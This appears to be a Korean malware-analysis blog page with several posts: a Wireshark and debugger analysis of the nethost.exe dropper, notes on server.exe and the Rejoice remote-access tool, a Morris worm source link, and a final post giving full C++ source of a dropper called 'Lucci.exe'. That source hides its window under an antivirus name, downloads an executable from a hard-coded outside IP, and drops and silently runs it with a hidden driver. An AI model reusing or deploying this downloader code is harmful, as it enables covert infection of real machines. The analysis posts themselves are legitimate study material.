no image
WireShark를 통한 Nethost.exe악성코드 네트워크 분석
개요 악성코드에 대해 공부를 할 때는 몰랐지만, 직접 여러 악성코드를 분석해보니 네트워크와 연결을 진행하는 악성코드가 정말 많다는 것을 알게 되었습니다. 그렇기에 네트워크와 관련해서 정말 지식이 부족하다고 느껴지기에 계속 미루는 것보단 한번 직접 네트워크에 대해 간간히 공부해보자는 생각에서부터 이렇게 시작하게 되었습니다. 이번 문서에서는 네트워크에 대한 저의 첫 문서인 만큼 너무 깊이는 들어가지고 않고 향후에 악성코드를 분석하는데 있어 저번과 같은 지장이 있지 않을 정도로 학습을 하려고 합니다. 따라서 이번에는 간단하게 WireShark에 대하여 기초적인 학습을 진행하였습니다. 1.1 WireShark란?보안 공부를 시작한지 얼마 안된 사람들도WireShark나 Nmap에 대해서는 자주 들을 수가 있을 ..
2015.11.30
no image
Nethost.exe분석
개요해당 악성코드 파일(nethost.exe)에 대한 기본적인 파일 정보는 아래의 표-1과 같다. 이를 통해 해당 악성코드는 러시아어로 작성된 것과 버전에 따라 유포자 및 제작자에 의해 업데이트가 될 수 있다는 것을 확인할 수가 있다. 정적 분석정적 분석에서는 PE구조를 확인하고, 이를 통해 패킹의 여부를 확인하며 그 외에 PE구조의 특이사항을 확인할 것이다. 이러한 PE 구조의 특이사항이란 IAT나 문자열 등을 포함하며 이를 통해 프로세스의 대략적인 기능에 대하여 추측해볼 것입니다. PE구조 분석PE구조를 확인해본 결과 별도의 패킹이 되지 않은 것을 확인할 수가 있었으며, TLS 영역도 존재하지 않음을 확인할 수가 있다. 아래의 그림은 DIE를 통해 해당 프로그램을 분석한 결과이다.. 그림 1. PE구..
2015.11.26
server.exe 분석
Server.exe 악성코드 분석
2015.10.05
Morris Worm Source Code
Morris WormThe Morris worm or Internet worm of November 2, 1988 was one of the first computer worms distributed via the Internet. It is considered the first worm and was certainly the first to gain significant mainstream media attention. It also resulted in the first conviction in the US under the 1986 Computer Fraud and Abuse Act.[1] It was written by a graduate student at Cornell University, R..
2015.02.17
no image
Rejoice와 서버파일 분석(정적)
0x01 IP가 출력되는 스트릥 "%d.%d.%d.%d" 0x02 Capture라는 스트링이 매우 수상히 느껴짐 0x03 Sever와 Client와 관련된 스트링.tclientwinsocket WebSocket 서비스에 연결하기 위해 클라이언트를 제공 합니다.tserverclientwinsocket 개별 클라이언트 소켓에 소켓 연결에 대한 Windows 소켓 API 호출을 관리하는 서버 소켓 구성 요소에 사용 0x04 모니터와 관련된 스트링monitorfromwindow : 지정된 윈도우의 경계 사각형 만나는 가장 큰 면적을 갖는 표시 모니터에 핸들을 검색한다.monitorfrompoint : 지정된 점을 포함한 디스플레이 모니터에 대한 핸들을 검색getmonitorinfo : retrieves info..
2015.01.15
no image
Rejoice와 서버파일 분석(초기,동적)
0x01 압축의 구성요소0x02 VirusTotal을 통한 정보확인 0x03 Exeinfo PE 를 통한 분석위의 정보를 통하여 두 파일은 패킹이 되지 않은것을 확인할수가 있다. 0x04 Rejoice.exe의 기능두번째 버튼의 기능-두번째 버튼을 누르면 Generate.exe 이 출력되는 것을 확인 할수가 있다.-가장 위의 darkbyte16.ddns.net 에 서버파일을 관리할 PC의 IP를 입력하면되며 뒤의 8010은 그에 사용될 포트 번호이다. 아래의 동그라미친 부분의 버튼을 누르면 괄호표시를 한곳의 정보가 변경이 된다. 예상하자면 하나의 이름으로 유통되는 것보다 이름이 변경이 되는 것이 공격자의 입장에서는 유용하기떄문이다. 표시한 부분을 클릭하면 자신의 IP를 알수가 있다.아래의 동그라미 친 부..
2015.01.15
악성코드 'Lucci.exe' 소스코드 C++
#include #include #include #include "afxres.h"#pragma comment(lib,"urlmon.lib")#define IDR_EXE1 101#define IDR_DRIVER1 102 bool _util_decompress_file(char *theResourceName){ HRSRC aResourceH; HGLOBAL aResourceHGlobal; unsigned char * aFilePtr; unsigned long aFileSize; HANDLE file_handle; char filename[64]; char fPath[50] = "C:\\WINDOWS\\system32\\"; aResourceH = FindResource(NULL,MAKEINTRESOURCE..
2015.01.11
  1. 개요


 악성코드에 대해 공부를 할 때는 몰랐지만, 직접 여러 악성코드를 분석해보니 네트워크와 연결을 진행하는 악성코드가 정말 많다는 것을 알게 되었습니다. 그렇기에 네트워크와 관련해서 정말 지식이 부족하다고 느껴지기에 계속 미루는 것보단 한번 직접 네트워크에 대해 간간히 공부해보자는 생각에서부터 이렇게 시작하게 되었습니다.

 이번 문서에서는 네트워크에 대한 저의 첫 문서인 만큼 너무 깊이는 들어가지고 않고 향후에 악성코드를 분석하는데 있어 저번과 같은 지장이 있지 않을 정도로 학습을 하려고 합니다. 따라서 이번에는 간단하게 WireShark에 대하여 기초적인 학습을 진행하였습니다. 

  

1.1 WireShark란?

보안 공부를 시작한지 얼마 안된 사람들도WireShark나 Nmap에 대해서는 자주 들을 수가 있을 것입니다. WireShark는 세계에서 가장 널리 쓰이는네트워크 프로토콜 분석기로 아래와 같은 장점이 있습니다.

그림 1. WireShark

    • 오픈 소스라 무료로 사용이 가능
    • Packet Capture를 위한 pcap 네트워크 라이브러리 제공
    • Tcpdump와 유사하나 GUI를 통해 편리한 인터페이스 제공
    • 다양한 필터링 기능 제공


1.2 네트워크 개념

아래의 그림은 OSI 7 Layer에서 각 레이어별 기능과 통신 프로토콜에 대해 간단히 정리되어 있는 것이다.

그림 2. 각 레이어별 기능과 프로토콜

아래의 그림은 TCP를 이요한 3-Way Handshaking으로 이후에 나오는 내용이기에 참고할 겸 첨부하였다.

그림 3. 3-Way HandShake



2.패킷 캡처


 우선 실행 후 화면은 아래의 그림-3와 같다. Start라는 버튼 아래 현재 환경에서 갖는 네트워크 장치에 대해 목록이 있으며, 이 중에 하나를 선택 후 'Start'를 누르면 캡처가 시작된다.

그림 4. WireShark 실행 화면

  이렇게 패킷 캡처를 시작하면 네트워크 장치를 지나는 패킷들이 나열되며 본인의 PC 환경에 따라 상이하지만 대부분 정말 많은 패킷의 교환을 확인할 수가 있다.


2.1 패킷 캡쳐

이제 실제 악성코드가 행위에 사용했던 네트워크 패킷을 한번 확인해보자. 해당 악성코드는 저번 주 분석에 실패를 하였던 Nethost.exe에 초점을 맞추었다.

그림 5. Packet Capture 화면

위에서 Start를 통해 악성코드를 실행하기 전에 캡처한다. 그 후 악성코드가 실행되는 동안의 패킷들이 와이어샤크가 기록을 하며 악성코드의 종료와 함께 캡처를 중지하였고 총 2182개의 패킷이 캡처되었으며, 매우 많은 양임을 알 수가 있다. 따라서 아래와 같은 필터링 기능을 통해 범위를 줄여보자.



2.2 실습 – GET /chrome_extension.exe

아래와 같은 필터 옵션을 적용하므로 이전보다 가독성이 좋아지는 것을 확인할 수가 있다. 해당 패킷을 보면 그림-3에서와 같이 3 way handshake를 통해 연결이 진행되는 것을 확인할 수가 있다.

그림 6. TCP 연결

위의 연결이 해제된 후 재연결이 되면 HTTP로 해당 아이피에 /chrome_extension.exe를 요청하는 것을 확인할 수가 있다.

그림 7. TCP 연결 & extension.exe요청

 이렇게 요청을 한 후 아래의 그림과 같이 1514의 길이만큼 지속적으로 패킷을 받는 것을 확인할 수가 있다. 여기서의 패킷은 디버거를 통해 확인해본 결과 extension.exe에 기록될 명령어들의 내용이다. 아래의 그림과 같이 확인할 수가 있다.

그림 8. GET - Extension.exe



2.3 실습 – GET /chrome_start_page.exe

 Nethost.exe는 이러한 동작을 한번 더 반복하는데 이번에는 extension.exe가 아니라 start_page.exe로 데이터를 요청하는 것을 확인할 수가 있다. 아래의 그림과 같다.

그림 9. GET – Start_Page.exe

 이와 같이 IP주소 193.238.153.91과의 통신은 각 파일에 기록될 데이터들을 주고 받고 종료가 된다. 따라서 다른 IP와 연결되는 패킷도 확인을 해보자.


2.4 실습 – 이 외 패킷

 위의 작업이 끝난 후 다른 패킷들을 살펴 본 결과 아래의 패킷을 확인할 수 있다. HTTP로 185.20.186.44에 패킷을 보내는 것으로 마지막에 Fail이라는 단어를 같이 보내는 것으로 보아 악성코드의 어떠한 기능이 실패했다는 것을 추측해볼 수가 있다.

그림 10. Fail을 보내는 패킷

 하지만 이것만 가지고는 불분명했지만 뒤에 캡처된 패킷의 경우 종료를 알리는 것을 확인할 수가 있었고, 이외의 기능이 없이 이와 관련된 연결이 모두 종료되는 것을 확인할 수가 있었다.

그림 11. Fail이후의 패킷

 


  3. 결론


 지난 주에 nethost.exe를 분석하며 해당 악성코드가 웹 브라우저의 정보를 가지고 오는 것임을 추후에 확인할 수가 있었는데, 이러한 기능을 하지 않고 종료되는 것을 확인할 수가 있었다.

 이에 대해 몇 가지 결론을 생각해본다면 해당 서버에 연결을 시도하고 RST와 ACK 패킷이 돌아오는 것으로 보아, 해당 서버가 현재는 막혔을 것이라 예상을 해볼 수가 있다.

 이러한 네트워크 분석을 병행하므로 확실히 해당 악성코드에 대한 이해도가 높아지는 것을 체감할 수가 있었고, 이론만 공부하다가 악성코드를 직접 분석해보며 항상 느끼는 것이지만 무엇이 부족한지 매번 알게 된다는 점이다. 따라서 이후에 네트워크에 대하여 한계를 느끼면 다시 해당 문서를 작성하고자 합니다.



참고

필터링 옵션과 관련하여 참고

https://wiki.wireshark.org/CaptureFilters

https://wiki.wireshark.org/DisplayFilters

전체적인 내용

    http://asec.ahnlab.com/156

    http://openness.tistory.com/entry/Wireshark-%EC%82%AC%EC%9A%A9%EB%B2%95


'Reversing > Malware Analysis' 카테고리의 다른 글

ixaobny.exe 분석 보고서  (0) 2016.02.16
90u7f65d.exe Malware Analysis  (0) 2015.12.28
Nethost.exe분석  (1) 2015.11.26
server.exe 분석  (0) 2015.10.05
Morris Worm Source Code  (0) 2015.02.17

  개요


해당 악성코드 파일(nethost.exe)에 대한 기본적인 파일 정보는 아래의 표-1과 같다. 

이를 통해 해당 악성코드는 러시아어로 작성된 것과 버전에 따라 유포자 및 제작자에 의해 업데이트가 될 수 있다는 것을 확인할 수가 있다.

  

  정적 분석


정적 분석에서는 PE구조를 확인하고, 이를 통해 패킹의 여부를 확인하며 그 외에 PE구조의 특이사항을 확인할 것이다. 이러한 PE 구조의 특이사항이란 IAT나 문자열 등을 포함하며 이를 통해 프로세스의 대략적인 기능에 대하여 추측해볼 것입니다.


PE구조 분석

PE구조를 확인해본 결과 별도의 패킹이 되지 않은 것을 확인할 수가 있었으며, TLS 영역도 존재하지 않음을 확인할 수가 있다. 아래의 그림은 DIE를 통해 해당 프로그램을 분석한 결과이다..

그림 1. PE구조 분석

 

그림에서와 같이 해당 악성코드는 C/C++로 작성된 것을 확인할 수가 있다.

  

문자열 분석

해당 악성코드에는 다양한 문자열들이 존재하는데 네트워킹과 관련된 문자열이 많음을 확인할 수가 있습니다. 몇 가지 선별한 문자열은 아래와 같다. 

 

이러한 문자열들을 통하여 인터넷 브라우저를 통하여 네트워킹을 진행하며 이외에도 ping 명령어, 그리고 레지스트리 키, FTP 등을 확인할 수가 있다. 따라서 웹브라우저의 연결을 통하여 특정한 사이트와 연결을 하거나, 다른 어떠한 작업을 진행하기 위하여 ping 명령어를 사용하는 것이라 예상해 볼 수가 있다.

  

Import Address Table 분석

어떤 함수들이 사용되고 있는지 IAT에 나타나있는 항목을 Dependency Walker를 통해 확인해 보았으며, 이 중에서 악성코드의 기능으로 의심되는 몇 가지 항목은 아래의 표와 같습니다. 

 

이를 통해 보았을 때 WS2_32.dll에서 네트워킹과 관련된 API들이 많이 사용되는 것을 알 수가 있다. 또한 CRYPT32.dll과 ADVAPI32.dll을 통해 암호화와 레지스트리 값 설정을 하는 함수가 존재하며 KERNEL32.dll을 특정한 파일과 기능하는 함수들이 있고 SHELL32.dll을 통해 특정한 명령어를 실행할 것이라 예상할 수가 있다.


동적 분석


동적 분석에서는 정적 분석을 토대로 예상되는 기능들을 직접 안전한 환경에서 실행하므로 일어나는 변화들을 관찰하여 이에 대하여 알아볼 것입니다. 여기선 Process Explorer를 통하여 프로세스의 변화를 관찰하고 TCP Viewer를 통하여 네트워크를 관찰하고 마지막으로 MFT를 분석할 것입니다.


          프로세스 분석

해당 프로세스를 실행시키고 ProcessExplorer을 통하여 아래와 같이 extension.exe가 실행이 추가적으로 실행이 되며, 이후 startpm.exe도 실행이 되는 것을 알 수가 있다.

그림 2. 프로세스 진행과정(1)

 

이렇게 3개의 프로세스가 실행되고 startpm.exe가 종료되기 전에 하위 프로세스로 CMD를 통하여 Ping 명령어를 사용하는 것을 확인할 수가 있었다.

그림 3. 프로세스 진행과정(2)

 

이러한 결과를 토대로 이후4장 상세 분석을 함에 참고를 하면 도움이 될 것이다.

  

네트워크 분석

해당 악성코드가 네트워킹을 하는 과정에 대하여 어느 곳과 연결이 네트워킹을 하는지 알아보기 위하여 TCP Viewer를 통하여 확인해보았다.

 

그림 4. TCP/UDP 연결 확인

 

위의 그림에서와 같이 악성코드가 실행된 후 이전에는 없던 System Process(PID:0)이 생기는 확인할 수가 있다. 이렇게 사용되는 프로세스와 원격주소에 대하여 정리한 것은 아래의 표와 같다.

 

 

이와 같이 총 9개의 주소 혹은 IP와 네트워킹을 하는 것을 확인할 수가 있으며, 프로세스가 종료된 후에는 이러한 네트워킹도 모두 종료가 되는 것을 확인할 수가 있었다.

  

MFT 분석

악성코드가 동작한 시간 이후로 MFT에 나타난 변화를 통하여 어떠한 파일이나 디렉터리가 생성되었는지를 확인해 보았으며 아래의 표와 같이 정리할 수가 있습니다. 

 

위의 표와 같이 SystemDir이라는 디렉터리를 생성 후 Temp나 그 곳에 부차적인 파일들을 생성하여 실행을 진행하고 실행이 완료된 후에는 삭제하는 것을 확인할 수가 있었다.

그 후 IE와 관련된 흔적들을 지우는 것을 확인할 수 있었으며 이를 통해 웹을 통한 행위에 대해 유심히 살펴보아야 함을 알 수가 있다.

  


상세 분석


상세 분석에서는 해당 악성코드에 대하여 상세한 분석이 진행되며, 필요하다면 부차적인 파일들도 상세 분석을 진행할 것이다.


Nethost.exe분석

우선 MFT에서 분석한 바와 같이 Nethost는 %AppData%\Local\SystemDir을 생성하는 것을 확인할 수가 있었다. 이후에 extension.exe와 startpm.exe는 동시에 생성되는 것이 아니라 같은 방식으로 extension.exe이 먼저 생성되기에 이에 맞추어 startpm.exe의 생성과정은 생략하였다.

그림 5. SystemDir 생성

 

이렇게 생성된 디렉터리와 %AppData\Local\%Temp 디렉터리를 통하여 악성코드가 어떠한 행위를 하는 것을 알 수가 있었다. 이렇게 기능을 한 후 프로세스가 종료된 후 디렉터리 내에 해당하는 내용들을 삭제하는 것 또한 확인할 수가 있었다.

그림 6. 네트워크 연결

 

네트워킹을 진행하는 것을 확인할 수가 있으며 send와 recv명령어를 사용하는 것을 확인할 수가 있었으며 동적 분석에서 확인한 바와 같이 여러 IP와 연결하는 것을 확인할 수가 있었다.

그림 7. CreateFile함수 통한 파일 생성

 

위의 그림과 같이 SystemDir 디렉터리에 extension.exe라는 파일을 생성을 하며, 이후엔 이와 같은 방식으로 startpm.exe를 생성한다. 이렇게 생성된 파일은 아래의 그림과 같이 WriteFile API를 통하여 버퍼가 기록된다.

그림 8. WriteFile 통한 기록

 

이렇게 recv를 통해 데이터를 받은 후 WriteFile을 통하여 4096Byte 만큼씩 데이터를 기록하는 것을 확인할 수가 있다. 이때의 IP는 193.238.153.90이다.

그림 9. MoveFile을 통한 파일 이동

 

872KB까지 기록이 된 후 MoveFile 함수를 통하여 기록되던 파일(SystemDir\)이 Temp디렉터리에 exe.tmp로 이동 되는 것을 확인할 수가 있다. 이후 아래의 그림과 같이 CopyFile 함수를 통하여 최초에 실행됐던 nethost.exe가 Temp\extension.exe와 Temp\startpm.exe로 복사가 되는 것을 확인할 수가 있다.

그림 10. CopyFile을 통한 파일 복사

 

이렇게 된 후 .tmp로 옮겨진 파일을 읽어서, CopyFile을 통한 원본과 같은 파일에 쓰는 것을 아래의 그림과 같이 확인할 수가 있다.

그림 11. 복사된 파일에 기록

위의 루프가 끝난 후 아래 그림 같이 CreateProcess를 통하여 각 파일(extension.exe, startpm.exe)를 실행하는데 여기서 이를 실행할 때 아래의 그림과 같이 인자를 주는 것을 확인할 수가 있었다.

그림 12. CreateProcess API 함수

     

CreateProcess의 CommandLine에 사용되는 각 프로세스의 인자는 아래의 표-6에 정리한 것을 볼 수가 있다. 여기서 이는 모두 한 줄에 해당하는 항목임을 유의하자. 

 

이렇게 각 프로세스는 생성된 후 아래의 그림과 같이 DeleteFile API를 사용하여 exe.tmp파일을 제거한다.

그림 13. DeleteFile API 함수

이렇게 작업을 수행한 후 해당 nethost.exe는 종료가 되는 것을 알 수가 있다. 이러한 분석을 통해 보았듯이, nethost.exe는 Dropper인 것을 알 수가 있다.





Analyzing-server.pdf


Server.exe 악성코드 분석

Morris Worm


The Morris worm or Internet worm of November 2, 1988 was one of the first computer worms distributed via the Internet. It is considered the first worm and was certainly the first to gain significant mainstream media attention. It also resulted in the first conviction in the US under the 1986 Computer Fraud and Abuse Act.[1] It was written by a graduate student at Cornell UniversityRobert Tappan Morris, and launched on November 2, 1988 from MIT.



Morris_worm.zip


http://www.rohitab.com/discuss/topic/20307-the-morris-worm-source-code/


I've found the source code of the Morris worm in the F-13 site.


I never tryed to compile it because I know that I will need an old C compiler to this.
Its kind of strange because I was thinking that the morris worm was coded in asm, not in c.

If you are interested in the source code here it is. :)


'Reversing > Malware Analysis' 카테고리의 다른 글

Nethost.exe분석  (1) 2015.11.26
server.exe 분석  (0) 2015.10.05
Rejoice와 서버파일 분석(정적)  (0) 2015.01.15
Rejoice와 서버파일 분석(초기,동적)  (0) 2015.01.15
악성코드 'Lucci.exe' 소스코드 C++  (0) 2015.01.11

0x01 IP가 출력되는 스트릥 "%d.%d.%d.%d"



0x02 Capture라는 스트링이 매우 수상히 느껴짐



0x03 Sever와 Client와 관련된 스트링.


tclientwinsocket WebSocket 서비스에 연결하기 위해 클라이언트를 제공 합니다.

tserverclientwinsocket 개별 클라이언트 소켓에 소켓 연결에 대한 Windows 소켓 API 호출을 관리하는 서버 소켓 구성 요소에 사용


0x04 모니터와 관련된 스트링


monitorfromwindow : 지정된 윈도우의 경계 사각형 만나는 가장 큰 면적을 갖는 표시 모니터에 핸들을 검색한다.

monitorfrompoint : 지정된 점을 포함한 디스플레이 모니터에 대한 핸들을 검색

getmonitorinfo : retrieves information about a display monitor.

display


0x05 마우스와 관련된 스트링


0xxx SnapShot 관련


0x06 SVCHOST.exe과 관련된 스트링



0x07 TScreen


TScreen 단독 어플리케이션이 실행되는 화면의 상태를 나타낸다.


0x08 GetCapture 함수의 호출


마우스를 캡처 한 윈도우에 대한 핸들 (있는 경우)를 검색 : 감염PC에 공격자가 마우스를 통해 조종을 하는것을 뜻하는것이라 예상.


0x09 InternetOpen & URLDownloadToFile


인터넷open 과 관련된 함수를호출하는 명령어

URLDownloadToFile : 함수의 이름 그대로 매우 수상함.


'Reversing > Malware Analysis' 카테고리의 다른 글

Nethost.exe분석  (1) 2015.11.26
server.exe 분석  (0) 2015.10.05
Morris Worm Source Code  (0) 2015.02.17
Rejoice와 서버파일 분석(초기,동적)  (0) 2015.01.15
악성코드 'Lucci.exe' 소스코드 C++  (0) 2015.01.11

0x01 압축의 구성요소

0x02 VirusTotal을 통한 정보확인




0x03 Exeinfo PE 를 통한 분석


위의 정보를 통하여 두 파일은 패킹이 되지 않은것을 확인할수가 있다.


0x04 Rejoice.exe의 기능


두번째 버튼의 기능

-두번째 버튼을 누르면 Generate.exe 이 출력되는 것을 확인 할수가 있다.

-가장 위의 darkbyte16.ddns.net 에 서버파일을 관리할 PC의 IP를 입력하면되며 뒤의 8010은 그에 사용될 포트 번호이다.


아래의 동그라미친 부분의 버튼을 누르면 괄호표시를 한곳의 정보가 변경이 된다. 예상하자면 하나의 이름으로 유통되는 것보다 이름이 변경이 되는 것이 공격자의 입장에서는 유용하기떄문이다.



표시한 부분을 클릭하면 자신의 IP를 알수가 있다.

아래의 동그라미 친 부분을 클릭하면 서버파일을 어느 곳에 저장할지 확인하는 화면이 나타난다.



0x05 세번째 기능


0x06 감염PC 화면 보기


0x07 캠기능


0x08 사운드 기능-감염PC의 마이크를 통한 소리를 들을수가 있다.



0x09 감염PC의 정보확인





0x0A 감염PC에 콘솔을 통한 명령(CMD)



0x0B 서버파일 실행전 프로세스



0x0C 서버파일 실행 후-0244677A.exe 파일이 프로세스 목록에 추가된것을 확인할수가있다.



0x0D 시작프로그램 목록

자동으로 시작프로그램의 목록에 추가된것을 확인할수가있다.




'Reversing > Malware Analysis' 카테고리의 다른 글

Nethost.exe분석  (1) 2015.11.26
server.exe 분석  (0) 2015.10.05
Morris Worm Source Code  (0) 2015.02.17
Rejoice와 서버파일 분석(정적)  (0) 2015.01.15
악성코드 'Lucci.exe' 소스코드 C++  (0) 2015.01.11

#include <windows.h>

#include <stdio.h>

#include <urlmon.h>

#include "afxres.h"

#pragma comment(lib,"urlmon.lib")

#define IDR_EXE1                        101

#define IDR_DRIVER1                     102


bool _util_decompress_file(char *theResourceName)

{

 HRSRC aResourceH;

 HGLOBAL aResourceHGlobal;

 unsigned char * aFilePtr;

 unsigned long aFileSize;

 HANDLE file_handle;

 char filename[64];

 char fPath[50] = "C:\\WINDOWS\\system32\\";


 aResourceH = FindResource(NULL,MAKEINTRESOURCE(IDR_EXE1),"EXE");

 if(!aResourceH)

 {

  return false;

 }

 aResourceHGlobal = LoadResource(NULL, aResourceH);

 if(!aResourceHGlobal)

 {

  return false;

 }

 aFileSize = SizeofResource(NULL, aResourceH);

 aFilePtr = (unsigned char *)LockResource(aResourceHGlobal);

 if(!aFilePtr)

 {

  return false;

 }


 _snprintf(filename, 62, "%s", theResourceName);

 strcat(fPath,filename);

 file_handle = CreateFile(fPath,

        FILE_ALL_ACCESS,

        0,

        NULL,

        CREATE_ALWAYS,

        FILE_ATTRIBUTE_HIDDEN,

        NULL);

 if(INVALID_HANDLE_VALUE == file_handle)

 {

  int err = GetLastError();

   if( (ERROR_ALREADY_EXISTS ==err) || (32 == err) )

   {

    return true;

   }

   return false;

 }


 while(aFileSize--)

 {

  unsigned long numWritten;

  WriteFile(file_handle, aFilePtr, 1, &numWritten, NULL);

  aFilePtr++;

 }

 CloseHandle(file_handle);

 return true;

}


bool _util_decompress_sysfile(char *theResourceName)

{

 HRSRC aResourceH;

 HGLOBAL aResourceHGlobal;

 unsigned char * aFilePtr;

 unsigned long aFileSize;

 HANDLE file_handle;

 char filename[64];

 char fPath[50] = "C:\\WINDOWS\\system32\\drivers\\";


 aResourceH = FindResource(NULL,MAKEINTRESOURCE(IDR_DRIVER1),"driver");


 if(!aResourceH)

 {

  return false;

 }

 aResourceHGlobal = LoadResource(NULL, aResourceH);

 if(!aResourceHGlobal)

 {

  return false;

 }

 aFileSize = SizeofResource(NULL, aResourceH);

 aFilePtr = (unsigned char *)LockResource(aResourceHGlobal);

 if(!aFilePtr)

 {

  return false;

 }


 _snprintf(filename, 62, "%s", theResourceName);

 strcat(fPath,filename);

 file_handle = CreateFile(fPath,

        FILE_ALL_ACCESS,

        0,

        NULL,

        CREATE_ALWAYS,

        FILE_ATTRIBUTE_HIDDEN,

        NULL);

 if(INVALID_HANDLE_VALUE == file_handle)

 {

  int err = GetLastError();

   if( (ERROR_ALREADY_EXISTS ==err) || (32 == err) )

   {

    return true;

   }

   return false;

 }


 while(aFileSize--)

 {

  unsigned long numWritten;

  WriteFile(file_handle, aFilePtr, 1, &numWritten, NULL);

  aFilePtr++;

 }

 CloseHandle(file_handle);

 return true;

}


void main()

{

 


 HWND hwnd;

 char ALYac[10] = "ALYac";

 SetConsoleTitle(ALYac);

 hwnd = FindWindow(NULL,ALYac);

 ShowWindow(hwnd,SW_HIDE);


 

 char Path[100] = "http://124.197.133.42/board/upload/ipv4.exe";

 char File[100] = "C:\\WINDOWS\\system32\\ipv4.exe";


 Sleep(1);

 

 HRESULT hr1 = URLDownloadToFile(0,Path,File,0,NULL);

 

 if(SUCCEEDED(hr1))

 {

 _util_decompress_sysfile("https.sys");

 _util_decompress_file("diskfind.exe");


 ShellExecute(NULL,"open","ipv4.exe",NULL,"C:\\WINDOWS\\system32",SW_HIDE);

 ShellExecute(NULL,"open","diskfind.exe",NULL,"C:\\WINDOWS\\system32",SW_HIDE);

 }


 else

 {

  ExitProcess(0);

 }

}



'Reversing > Malware Analysis' 카테고리의 다른 글

Nethost.exe분석  (1) 2015.11.26
server.exe 분석  (0) 2015.10.05
Morris Worm Source Code  (0) 2015.02.17
Rejoice와 서버파일 분석(정적)  (0) 2015.01.15
Rejoice와 서버파일 분석(초기,동적)  (0) 2015.01.15